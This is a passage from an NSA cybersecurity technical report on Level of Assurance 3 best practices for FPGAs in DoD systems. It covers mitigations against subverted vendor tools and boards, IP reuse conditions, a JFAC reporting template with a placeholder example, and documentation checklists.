Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 9 mitigation descriptions +Engage a DoD vendor to build the SBCS +Programs should engage a DoD supplier to build the SBCS devices under the LoA3 +constraints. This includes the use of people cleared at least at the Secret level working +in Secret cleared environments. +Verification and authentication +All verification and authentication steps in this section should be conducted by a team of +people independent from the manufacturing team. This team should obtain and review +the SBCS schematics for functional correctness, vulnerabilities, and security concerns +as they relate to the FPGA configuration process and security connections. Verify the +PCB traces related to the FPGA device, the configuration memory devices, and any +other devices related to the authentication of the configuration data. The program +should rely on guidance from the JFAC PCB Executive Agent to perform this +verification. This evaluation should be performed on all devices. +Authenticate the FPGA devices +In this mitigation, the program should authenticate the devices utilizing the +recommendations found under TD 2: Adversary inserts malicious counterfeit. Then, the +devices should be re-authenticated upon completion of the SBCS manufacture utilizing +a cryptographically protected ID or through the use of a soft PUF. +Verify the SBCS configuration process +Utilize SBCSs whose configuration process and board level connections comply with +the LoA3 mitigation requirements for TD 6: Adversary swaps configuration file on target. +This includes, but is not limited to, requirements for: +NIST compliant authentication algorithms +Differential power analysis (DPA) resistant authentication +Protected key storage +Anti-tamper detection and response +Being free of known vulnerabilities in the configuration and security functions +All encryption and authentication keys lengths must be compliant with the +requirements outlined NIST SP 800-57 +The ability to disable FPGA test pins, such as JTAG +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +If the configuration file memory storage device contains SBCS vendor code, the +program should review and evaluate that code for malicious functions. The proprietary +SBCS support for configuration must be fully understood and validated. If the SBCS +configuration process cannot be fully evaluated, it should not be used at LoA3. +Once the SBCS +s configuration design and implementation are evaluated to be free of +malicious functions, the program should craft a set of tests and validation processes to +verify that all the devices comply with the evaluation. +Test non-volatile memory +Poll the FPGA settings captured in non-volatile memory, such as fuses, to determine if +the SBCS vendor has preprogrammed any settings in a manner conflicting with these +assurance guidelines or that conflict with user application needs. +Document the steps +Document all steps taken to demonstrate compliance with TD 9. These steps and +associated data artifacts should be auditable. +TD 10: Adversary modifies vendor FPGA software design +suite during development +In this threat, an adversary modifies the vendor design suite during its development to +subvert the DoD application during FPGA implementation. This subversion could +include: +Inserting a malicious function or vulnerability into the device during synthesis, +place and route, or configuration data generation. +Enabling the exfiltration of program application design data over a network +connection. +This subverted tool would then be part of the authorized software delivered by the +vendor and its distributors. In this light, delivery protections such as encryption, package +signing, and hashes would have no mitigating value. Evaluating the vendor software +and certifying it as Trojan free is a prohibitively intensive and costly venture that is not +practical at the program level. +At present, the only approach to addressing this attack is to verify the results of the +FPGA implementation steps. Rather than determine that the tool is Trojan free, the +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +approach is to verify that the tool suite did nothing malicious to the application design. +Logical equivalence checking (LEC) is the tool used to perform this verification. +JFAC is currently investigating additional measures to detect and thwart compromised +vendor tools. Pending new advances, JFAC can assist programs with overcoming the +difficulties of performing LEC. +TD 10 mitigations +To prevent exfiltration of data from a malicious FPGA EDA tool, perform all +FPGA design work on an isolated network as recommended in the mitigations for +TD 3: Adversary compromises application design cycle. +Perform logical equivalency checking between the application HDL and the final +configuration data. +TD 10 mitigation descriptions +Perform logical equivalency checking +To the greatest extent possible, LEC verifies that the vendor tools did not modify the +logic or configuration settings. The goal is to verify that the final bitstream and +originating application HDL are logically equivalent with no extraneous logic in the final +format. This confirms that Trojans were not inserted during the implementation steps. +The LEC also verifies that the configuration settings were maintained and not altered. +Configuration settings are those parameters included in the configuration file that affect +the behavior of the FPGA device itself but are not a part of the program application. +Examples include tamper settings, JTAG settings, and key storage. +There are technical challenges associated with performing LEC on FPGA data. First, +due to the proprietary nature of the configuration file format, including it in the LEC effort +is difficult. Contact JFAC for information on commercial tools that can assist with this for +several device families. +Additionally, many FPGA synthesis optimizations make it difficult to perform LEC. For +this reason, the following are recommended: +Perform LEC after each implementation step to limit the amount of change that +must be accounted for by the tool. This includes synthesis, place and route, and +configuration data generation. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Use hints files to assist in matching difficult-to-correlate logic in the compared +databases. Most LEC tools accept these files. +Contact JFAC for information on emerging industry tools that can assist in +identifying configuration data in the FPGA formats or automate the creation of +hints files. +3 Summary +The mitigations in this report are intended to protect against adversarial threats to +assurance on FPGA-based systems. Once a program incorporates the mitigations for +these 10 threat descriptions, it can consider its FPGAs to have achieved LoA3. +If a program has developed alternate solutions for mitigating these threats, it can +consult with JFAC to determine if the alternative mitigations are sufficient. +Finally, if a program has questions regarding this report or requires assistance, it should +contact JFAC at https://jfac.navy.mil/ for assistance. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Appendix A: Standardized terminology +The following terms are used in the Joint Federated Assurance Center Field +Programmable Gate Array Best Practices documents. These terms are modified from +Defense Acquisition University definitions to support common understanding. +Application design + The collection of schematics, constraints, hardware description +language (HDL), and other implementation files developed to generate an FPGA +configuration file for use on one or many FPGA platforms. +Application domain + This is the area of technology of the system itself, or a directly +associated area of technology. For instance, the system technology domain of a radar +system implemented using FPGAs would be "radar" or "electronic warfare." +Configuration file + The set of all data produced by the application design team and +loaded into an FPGA to personalize it. Referred to by some designers as a +bitstream +the configuration file includes that information, as well as additional configuration +settings and firmware, which some designers may not consider part of their +bitstream. +Controllable effect + Program-specific, triggerable function allowing the adversary to +attack a specific target. +Device/FPGA device + A specific physical instantiation of an FPGA. +External facility + An unclassified facility that is out of the control of the program or +contractor. +Field programmable gate array (FPGA) + In this context FPGA includes the full range +of devices containing substantial reprogrammable digital logic. This includes devices +marketed as FPGAs, complex programmable logic devices (CPLD), system-on-a-chip +(SoC) FPGAs, as well as devices marketed as SoCs and containing reprogrammable +digital logic capable of representing arbitrary functions. In addition, some FPGAs +incorporate analog/mixed signal elements alongside substantial amounts of +reprogrammable logic. +FPGA platform + An FPGA platform refers to a specific device type or family of devices +from a vendor. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Hard IP + Hard IP is a hardware design captured as a physical layout, intended to be +integrated into a hardware design in the layout process. Hard IP is most typically +distributed as Graphic Design System II (GDSII). In some cases, Hard IP is provided by +a fabrication company and the user of the IP does not have access to the full layout, but +simply a size and the information needed to connect to it. Hard IP may be distributed +with simulation hardware description language (HDL) and other soft components, but is +defined by the fact that the portion that ends up in the final hardware was defined by a +physical layout by the IP vendor. +Level of assurance (LoA) + A Level of Assurance is an established guideline that +details the appropriate mitigations necessary for the implementation given the impact to +national security associated with subversion of a specific system, without the need for +system-by-system custom evaluation. +Physical unclonable function (PUF) + This function provides a random string of bits of +a predetermined length. In the context of FPGAs, the randomness of the bitstring is +based upon variations in the silicon of the device due to manufacturing. These bitstrings +can be used for device IDs or keys. +Platform design + The platform design is the set of design information that specifies +the FPGA platform, including physical layouts, code, etc. +Soft IP + Soft IP is a hardware design captured in hardware description language +(HDL), intended to be integrated into a complete hardware design through a synthesis +process. Soft IP can be distributed in a number of ways, as functional HDL or a netlist +specified in HDL, encrypted or unencrypted. +System + An aggregation of system elements and enabling system elements to achieve +a given purpose or provide a needed capability. +System design + System design is the set of information that defines the +manufacturing, behavior, and programming of a system. It may include board designs, +firmware, software, FPGA configuration files, etc. +Target + A target refers to a specific deployed instance of a given system, or a specific +set of systems with a common design and function. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Targetability + The degree to which an attack may have an effect that only shows up in +circumstances the adversary chooses. An attack that is poorly targetable would be more +likely to be discovered accidentally, have unintended consequences, or be found in +standard testing. +Third-party intellectual property (3PIP) + Functions whose development are not +under the control of the designer. Use of the phrase +intellectual property +, IP, or 3PIP in +outlining this methodology of design review does not refer to property rights, such as, +for example, copyrights, patents, or trade secrets. It is the responsibility of the party +seeking review and/or the reviewer to ensure that any rights needed to perform the +review in accordance with the methodology outlined are obtained. +Threat category + A threat category refers to a part of the supply chain with a specific +attack surface and set of common vulnerabilities against which many specific attacks +may be possible. +Utility + The utility of an attack is the degree to which an effect has value to an +adversarial operation. Higher utility effects may subvert a system or provide major +denial of service effects. Lower utility attacks might degrade a capability to a limited +extent. +Vulnerability + A flaw in a software, firmware, hardware, or service component +resulting from a weakness that can be exploited, causing a negative impact to the +confidentiality, integrity, or availability of an impacted component or components. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Appendix B: IP Reuse Guidance +There are several situations in which a program/organization would like to reuse +previously generated soft IP or 3PIP. This IP can be generated internally (i.e., by an +authorized DoD program, but for a different program than the original use) or externally +(i.e., purchased IP). +IP that was not generated for or previously evaluated by a DoD program in conjunction +with LoA3 requirements should not be used without a program evaluation. This includes +cases in which vendors have had the IP evaluated by a third party. That review is not +acceptable according to the DoD Microelectronics: FPGA Overall Assurance Process. +Programs have the sole responsibility to perform or oversee all reviews. +LoA3 introduces several new threat vectors, to include insiders, cleared and uncleared +personnel working alone or in conjunction with others, and new technologies, along with +funding at the nation-state level. Given the complexity of LoA3 and the types of +components and systems that require LoA3, JFAC strongly recommends re-evaluation +of all IP regardless of the source. +In situations where the program chooses not to re-review the previously evaluated IP, +the program should ensure the following conditions are satisfied. +Reuse conditions +To reuse IP, the following conditions should be satisfied: +a) The IP must have been developed internally (i.e., by a government funded and +managed program) for an LoA3 program or the IP was successfully internally +evaluated at LoA3. +b) All documentation associated with the development and/or previous evaluation +must be signed with a valid cryptographic signature and stored within the +configuration management system compliant with the LoA3 requirements in this +document. The documentation must be provided to the new program in its +totality. The documentation should clearly state any known vulnerabilities or risk +associated with the IP. The documentation must be proven to have remained +unchanged since the time the evaluation was performed. +c) A second copy with a different cryptographic signature of the evaluation report +should be stored in a controlled environment separate from the IP. The best +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +storage mechanisms would include in a SCIF, and either in a safe certified at the +Secret level or on a Secret network. +d) The program should verify the data in the separately stored evaluation reports is +the same as what the program is using. +e) The program cannot accept any IP in which the report has discrepancies from +the version received. For example, the name of the IP, version information, hash, +etc. +f) After the initial evaluation, the IP must remain maintained in a configuration +management system compliant with the LoA3 requirements in this document. +The hash of the IP must also be cryptographically signed and maintained in the +configuration management system. Additionally, the hash should be stored and +maintained with a second cryptographic signature. The program must verify the +separately stored hashes match. +g) In the event the IP was previously evaluated and there were areas of risk +identified, the risk must be documented and provided to the program that would +like to reuse the IP. The program has the responsibility to accept or mitigate the +risk based on individual program needs. +Reuse scenarios +The following section describes several use cases that provide additional details of +when IP can or cannot be reused at LoA3. +Scenarios in which LoA3 IP reuse is applicable: +a) The program would like to reuse internally developed LoA3 compliant IP, but not +previously evaluated outside of the initial program for use. +In this scenario, the IP was developed and stored internally using the processes +described in this document. Therefore, the IP was previously shown to be +compliant. The program has the responsibility to ensure that no modifications +were made to the IP since the time of development. To reuse the IP, the program +must demonstrate compliance with the conditions outlined in the Reuse +conditions section above. +b) The program would like to reuse internally developed LoA3 IP that was +previously successfully evaluated to be compliant with LoA3. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +In this scenario, the fact that the IP has been evaluated and deemed compliant to +LoA3 makes the reuse viable provided the program can demonstrate compliance +with the conditions outlined in the Reuse conditions section above. +c) The program would like to use IP that was developed by an external vendor. The +3PIP was previously internally verified as compliant with LoA3 for a different +program. +In this scenario, the IP was evaluated internally using the processes outlined in +this document. Therefore, the IP was previously shown to be compliant. To reuse +the IP, the program must demonstrate compliance with the conditions outlined in +the Reuse conditions section above. +Use cases in which an LoA3 IP evaluation in accordance with Third-Party IP Review +Process for Level of Assurance 3 document would be required: +d) The program would like to use internally developed IP that was not developed or +evaluated to satisfy any level of assurance. The program would like to use this IP +at LoA3. +e) In this scenario, the program should treat the IP the same as unevaluated +externally developed 3PIP. The program should follow the guidance provided in +TD 5: Adversary compromises third-party soft IP. +f) The program would like to reuse internally developed IP that was developed to +be compliant with LoA1 or LoA2. +g) Based on the increased threat complexity at LoA3, the program should treat the +IP the same as externally developed IP. The program should follow the guidance +provided in TD 5: Adversary compromises third-party soft IP. +h) The program would like to reuse internally developed IP that was developed to +be compliant with LoA1 or LoA2 and previously successfully evaluated to be +compliant with LoA1 or LoA2. +i) Based on the increased threat complexity, the program should treat the IP the +same as externally developed IP. The program should follow the guidance +provided in TD 5: Adversary compromises third-party soft IP. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +j) An LoA3 program would like to use externally developed 3PIP (e.g., v1.1). A +different version of the 3PIP (e.g., v1.0) was previously verified to be LoA1, +LoA2, or LoA3 compliant. +k) In this scenario, the IP has been modified. Due to the modification, the program +should treat the IP the same as unevaluated externally developed 3PIP. The +program should follow the guidance provided in TD 5: Adversary compromises +third-party soft IP. +l) At LoA3, the program would like to use externally developed 3PIP that was +previously verified by an independent third party at LoA1, LoA2, or LoA3. +m) Program independent third party reviews are not acceptable. The program +should treat the IP the same as not previously reviewed IP. The program should +follow the guidance provided in TD 5: Adversary compromises third-party soft IP. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Appendix C: JFAC FPGA reporting template +Each program is requested to provide the following information to JFAC. Multiple email +addresses are provided to support a variety of classification levels; only one email to +any of these is required. Please contact JFAC to obtain the appropriate email address +at https://jfac.navy.mil. +The template and information to be included in the email are as follows: +============================================= +*** Please Portion Mark Appropriately *** +(U) POC Contact Info +(U) Name: +(U) Organization/Company: +(U) Email: +(U) Phone: +(U) Address: +(U) Program Info +(U) Program Name (top-level program, i.e. F35, M1 tank, etc.): +(U) US Govt Sponsor: (Air Force, Army, Marines, Navy, DOE, other) +(U) Do you want to be included in any future JFAC FPGA Assurance related bulletins in +the future? +(U) Estimated Number of Systems to be Built: +(U) Program Description (1-3 sentences describing the top-level program in which the +subsystem listed below is included): +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +(U) FPGA Info (for each FPGA part number used) +(U) FPGA Vendor: (Intel, Lattice, MicroChip, Xilinx, other) +(U) FPGA Device Family: +(U) FPGA Device Part Number: +(U) FPGA Design Software Used and Version #: +(U) Description of Subsystem Containing FPGA Device: +(U) Total Estimated Number of Subsystems to be Built: +(U) Operating Environment: (mil, ind, com, radiation, cryo) +(U) Source/seller of the FPGA devices: +(U) Date purchased: +(U) Anticipated Fielding date: +(U) LoA Level: +(U) Description of FPGA Role in Subsystem. If multiple instances of FPGA devices, +number and describe the role of each. +=============================================== +Example +============================================= +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +*** Please Portion Mark Appropriately *** +(U) POC Contact Info +(U) Name: Jack Jackson +(U) Organization/Company: Army Research Lab +(U) Email: jjackson@army_email.mil +(U) Phone: 555-555-5555 +(U) Address: 10 Main St, Fort Murphy, Illinois 55555 +(U) Program Info +(U) Program Name (top-level program, i.e. F35, M1 tank, etc.): Next Generation +Combat Vehicle (NGCV) +(U) US Govt Sponsor: (Air Force, Army, Marines, Navy, DOE, other) Army +(U) Do you want to be included in any future JFAC FPGA Assurance related bulletins in +the future? : Yes +(U) Estimated Number of Systems to be Built: 1400 +(U) Program Description (1-3 sentences describing the top-level program in which the +subsystem listed below is included): +The Next Generation Combat Vehicle + Future Decisive Lethality (NGCV-FDL) +will have capabilities that are enabled by assured position, navigation and +timing and resilient networks. This will enable future maneuver formations to +execute semi-independent operations while conducting cross-domain +maneuver against a peer adversary. +(U) FPGA Info (for each FPGA part number used) +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +(U) FPGA Vendor: (Xilinx, Intel, MicroChip, Lattice, other): Acme MicroElectronics +(U) FPGA Device Family: Big Blue Iceberg +(U) FPGA Device Part Number: BBI-624L100K +(U) FPGA Design Software Used and Version #: IceBreaker V2021.15 +(U) Description of Subsystem Containing FPGA Device: image processing for data +originating from the cannon targeting sensor +(U) Total Estimated Number of Subsystems to be Built: 3000 +(U) Operating Environment: (mil, ind, com, radiation, cryo): mil +(U) Source/seller of the FPGA devices: Digikey, online +(U) Date purchased: 2/25/2020 +(U) Anticipated Fielding date: 5/1/2022 +(U) LoA Level: 1 +(U) Description of FPGA Role in Subsystem. If there are multiple instances of FPGA +devices, number and describe the role of each one. +1. FPGA #1 + is used to perform signal processing on raw image data coming in +from the externally mounted cannon. +2. FPGA #2 + is used to perform signal processing on raw image data coming +from the scout drone through the external antennae #2 and synchronized with +GPS positioning data. +=============================================== +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Appendix D: Mitigations and data/documentation +requirements +Checklist for TD 1: Adversary utilizes a known FPGA platform +vulnerability +TD 1 mitigations +Data/Documentation requirement +Use caution when selecting tools or +platforms +The program should document the name of the person +performing the research, the date timestamp of the +research, the research results, and the vendor provided +end-of-life plan or release notes (if available). If +beta/initial release is selected, the program should +document the rationale behind the selection and +contain the signature of the programmatic approval +authority. +Use cleared personnel +In writing, the program should designate work that must +be done by cleared individuals. The program should +keep a log of personnel assigned to that work along +with their clearance level. +The program should maintain a list of the members +comprising each team, with clearance level. The +program should maintain audit logs demonstrating what +each team member accessed. +Research vulnerabilities +The program should document each publication that +was searched (including at a minimum those identified +in this guidance), search results, the name of the +person who performed the search, and date timestamp +when the search was performed. The same information +should be documented by the reviewer. +If a vulnerability is found, choose one of the following options: +Option 1: Select a different FPGA +platform, device, or software +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +The program should document each publication that +was searched (minimally those identified in this +guidance should be searched), the search results, the +name of the person performing the search, and the +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 1 mitigations +Data/Documentation requirement +date and timestamp of when the search was +performed. +Option 2: Work with the vendor +The program should work through the vendor process +to formally notify the vendor of any vulnerabilities, and +only accept fixes through formal, approved processes. +The program should maintain documentation regarding +the identified vulnerability, log communication with the +vendor, and document the source and method of the +received fix. +Option 3: Risk analysis +The program should maintain documentation +identifying the risk, any mitigations, and the approval +authority for accepting the residual risk. +Use revision control/version +management +The program should document, maintain, and utilize a +program configuration management (CM) plan. This +plan should include details on how configuration data +will be maintained for control and audit purposes. The +system used for CM should be named, and +implementation specific details should be documented. +The program should document how the CM plan is +compliant with NIST SP 800-171 Protecting Controlled +Unclassified Information in Nonfederal Systems and +Organizations. If a classified system is used, the +program should store a copy of the approved SSP. +Audit logs should be reviewed with the results +recorded. +Enforce auditability +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +The program should maintain audit logs on all design +data, including requirements, architecture, design, +code, tests, bugs, and fixes. The audit data minimally +should document who requested the change with date +and timestamp, the decision made regarding the +change, who made the decision with date and +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 1 mitigations +Data/Documentation requirement +timestamp, why was the change requested, and who +made the change with date and timestamp. +Enforce the approved design +process +The program should document program design +milestones with clear entry and exit criteria. The entry +and exit criteria should be specifically identified to +include the peer review/code review and technical +review processes. The entrance and exit criteria should +be utilized throughout the program lifecycle. The +documentation should contain artifacts demonstrating +the gates were satisfied, with signed management +approval. +The program should obtain the results of independent +reviews to include: + Type and extent of verification performed, to include +evaluation objective, methodology, and tools + Findings, both positive and negative, for all +evaluations performed + Risks identified by the review team (e.g., quality +issues, vulnerability to threats, etc.) + Recommendations to mitigate identified risks + Independent team should be separate from the team +doing the design + Identification and credentials of each reviewer + Date and timestamp of when the review was +performed +Checklist for TD 2: Adversary inserts malicious counterfeit +TD 2 mitigations +Purchase from DoD authorized +vendors and distributors +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +Documentation requirements +The program should document the name and location +of the authorized vendor along with documentation +demonstrating that the vendor is authorized. +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 2 mitigations +Documentation requirements +Consult Government-Industry Data +Exchange Program (GIDEP) +The program should document the GIDEP search +results, the name or ID of the person performing the +search, and the date and timestamp of when the +search was performed. +Follow storage and shipping +guidance +The program should document, maintain and enforce a +transportation plan which supports the movement of +bulky classified material. Minimally the plan should +include: + Title of Plan + Date of movement + Authorization/Approval + Purpose + Description of consignment, to include unique ID +when available + Identification of responsible government and/or +company representatives + Identification of commercial entities to be involved in +each shipment + Packaging of the consignment + Routing of the consignment + Couriers/escorts + Recipient responsibilities + Return of material procedures + Other information as required +The program should document, maintain, and enforce +a storage plan which supports the storage of bulky +material. +Verify the FPGA cryptographically +secure ID +The program should document and store the ID of each +FPGA against the ID that was provided directly by the +vendor. +Perform physical +inspection/analysis +The program should document the results of the +physical analysis test with each FPGA unique ID the +test was performed on. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 2 mitigations +Documentation requirements +To mitigate risk of a cleared insider: +Select sample parts +The program should document: + The process to secure the device and the results + All parties that touched the device with the reason for +the interaction +Create cryptographically protected +IDs post verification +The program should record the device serial number +and PUF ID. +Compare results anytime the programs compares the +soft PUF and unique ID for confirmation of the +authenticity of the part. +Verify independent lab work +The program should require: + The return of residual materials and detailed reports +after evaluation + The approved storage plan to be utilized by the lab +with acceptable evidence + Documentation that demonstrates the lab identified +the known bad parts; the name, address, and division +of the two independent labs; or results of physical +inspection +In addition to verifying independent lab work above, choose one of the following options: +Option 1: Insert known bad parts +Document the known bad parts, the problem with the +part, and the results from the verification facility that +performed the physical analysis. +Option 2: Use duplicate +Document the credentials of the lab observers, the +findings, and conclusion. The conclusion should +confirm if the lab results match or are different. +independent labs +Option 3: Use duplicate persons +assigned to the program +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +Document the credentials of the observers, the +findings, and conclusion. The conclusion should +confirm if the results match or are different. +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 2 mitigations +Documentation requirements +Follow guidance for TD 4: +Adversary compromises system +assembly, keying, or provisioning +Provide all of the TD4: Adversary compromises system +assembly, keying, or provisioning data requirements. +Checklist for TD 3: Adversary compromises application design cycle +TD 3 mitigations +Documentation requirements +Use Secret level cleared personnel +In writing, the program should designate work that must +be done by cleared individuals. The program should +keep a log of personnel assigned to that work with their +clearance level. +The program should maintain a list of the members +comprising each team, with clearance level. The +program should maintain audit logs demonstrating what +each team member accessed. +Track critical data in a revision +control system +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +The program should ensure the following data items +are tracked in revision control: +Third-party IP (3PIP) +Utilized libraries +Development files, code, software used for +development, synthesis scripts, and tools +Test Benches, Test Plans and Test Procedures, +and Test Reports +Tool configuration settings +Design documents to include: + Critical documents, to minimally include +requirements, design artifacts, test reports, test +plans, and discrepancy reports. + Documentation with approval to proceed from +organizationally defined reviews: code reviews, +architecture reviews, technical design reviews, and +verification and validation reviews. +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 3 mitigations +Documentation requirements +Each of these artifacts should be identified in the +programs auditing strategy and the audit logs should +minimally include decisions that were made, by whom, +for what reason, and on what date. +Enforce auditability +The program should maintain audit logs on all design +data, including requirements, architecture, design, +code, tests, bugs, and fixes. The audit data minimally +should document who requested the change with date +and timestamp, the decision made regarding the +change, who made the decision with date and +timestamp, why was the change requested, and who +made the change with date and timestamp. +Use revision control/version +management +The program should maintain revision control +documentation in accordance with requirements of +CMMC level 3 or NIST 800-171 Protecting Controlled +Unclassified Information in Nonfederal Systems and +Organizations and NIST 800-172 Enhanced Security +Requirements for Protecting Controlled Unclassified +Information. The program should maintain the CMMC +audit results or NIST 800-171 self-assessments. +TD 3.1 Mitigating the introduction of a compromised design into the application +Isolate and store the application +design +The program should document the hash of the final +configuration after the final design and verify the hash +prior to provisioning. The program should maintain the +configuration management audit logs. +Perform reproducible build +Document the reproducible build process and results +validating that the two separate builds produce the +same binary and hash. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 3 mitigations +Documentation requirements +TD 3.2 Mitigating the modification of test benches/plan to reduce coverage or hide +Trojan code +Execute a documented test plan +The program should document and maintain a test plan +that includes a mechanism to verify all requirements. + The test plan should explicitly list code coverage +metrics, the type of testing that will be performed, and +acceptable testing guidelines. + Code coverage should state how much code is +checked by the test bench, providing information about +dead code in the design and holes in test suites. +Ensure code coverage includes statement coverage, +branch coverage, Finite State Machine (FSM), +condition, expression, and toggle coverage. Document +any code that will not be covered and why. Ensure +untested code is documented and reviewed through +the review process. Use functional tests to verify the +FPGA does what it is supposed to do. Any deviations +must be documented and approved. + The decision to use/not use other types of testing +such as directed test, constrained random stimulus, +and assertion should be documented. + Unexpected behavior should be documented and +analyzed, with final implementation conclusions +documented. + The test plan should specify the verification +environment which describes the tools, the software, +and the equipment needed to perform the reviews, +analysis, and tests. Each of these items should be +maintained under revision control. + Ensure all test discrepancies, bugs, etc. are resolved +via a change process. +Validate and verify test processes +The program should document, review, maintain, +enforce, and archive the test plan. The test plan should +include which tools will be used with names, version +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 3 mitigations +Documentation requirements +numbers, and the various test reviews that will take +place, type of testing to be performed, and the methods +used to accomplish the test. +The program should maintain documentation of all +testing performed, including members of each team +and role, all documentation associated with peer +reviews, configuration logs indicating all actions taken +by whom and when, and use of automated tools where +applicable. All test discrepancies, bugs, etc. should be +resolved via a change process utilizing a change +management system. The established processes +should be documented, enforced, and audited. +Maintain test environment via +configuration management +The program should maintain configuration +management documentation in accordance with +requirements of CMMC level 3 or NIST SP 800-171 +Protecting Controlled Unclassified Information in +Nonfederal Systems and Organizations and NIST SP +800-172 Enhanced Security Requirements for +Protecting Controlled Unclassified Information. The +program should maintain the CMMC audit results or +NIST SP 800-171 self-assessments. +TD 3.3 Mitigating the introduction of Trojans into the application design during +development +Maintain bi-directional link to +approved requirements +The program should document bi-directional +traceability for all device requirements, including +derived requirements. +Enforce peer review +The program should document the results of each peer +review to include: + Entry criteria and status, + Roles and responsibilities with associated names, + Attendees, + Findings, including deviations or waivers and +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 3 mitigations +Documentation requirements +associated rationale and approval, + Exit criteria and status. +Execute a documented test plan +The program should document and maintain a test plan +that includes a mechanism to verify all requirements. + The test plan should explicitly list code coverage +metrics, the type of testing that will be performed, and +acceptable testing guidelines. + Code coverage should state how much code is +checked by the test bench, providing information about +dead code in the design and holes in test suites. +Ensure code coverage includes statement coverage, +branch coverage, Finite State Machine (FSM), +condition, expression, and toggle coverage. Document +any code that will not be covered and why. Ensure +untested code is documented and reviewed through +the review process. Use functional tests to verify the +FPGA does what it is supposed to do. Any deviations +must be documented and approved. + The decision to use/not use other types of testing +such as directed test, constrained random stimulus, +and assertion should be documented. + Unexpected behavior should be documented and +analyzed, with final implementation conclusions +documented. + The test plan should specify the verification +environment which describes the tools, the software, +and the equipment needed to perform the reviews, +analysis, and tests. Each of these items should be +maintained under revision control. + Ensure all test discrepancies, bugs, etc. are resolved +via a change process. +Implement, validate, and verify test +processes +The program should maintain documentation of all +testing performed, including members of each team +and their roles, all documentation associated with peer +reviews, configuration logs indicating all actions taken +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 3 mitigations +Documentation requirements +by whom and when, and use of automated tools where +applicable. All test discrepancies, bugs, etc., should be +resolved via a change process utilizing a change +management system. The established processes +should be documented, enforced, and audited +Select a formal +proof + process +Document all code that was reviewed using LEC, any +functional discrepancies, and how those discrepancies +were resolved. +TD 3.4 Mitigating the introduction of compromised tooling/software into the +environment +Validate cryptographic hashes +The program should document the value of the +calculated cryptographic hash and the signed hash +provided by the vendor along with the software name, +version, and release number. +Research vulnerabilities +The program should document each publication that +was searched, (including at minimum those identified in +this guidance) search results, the name of the person +performing the search and the date and timestamp +when the search was performed. +If vulnerabilities are found in the software or tools, choose one of the following options: +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 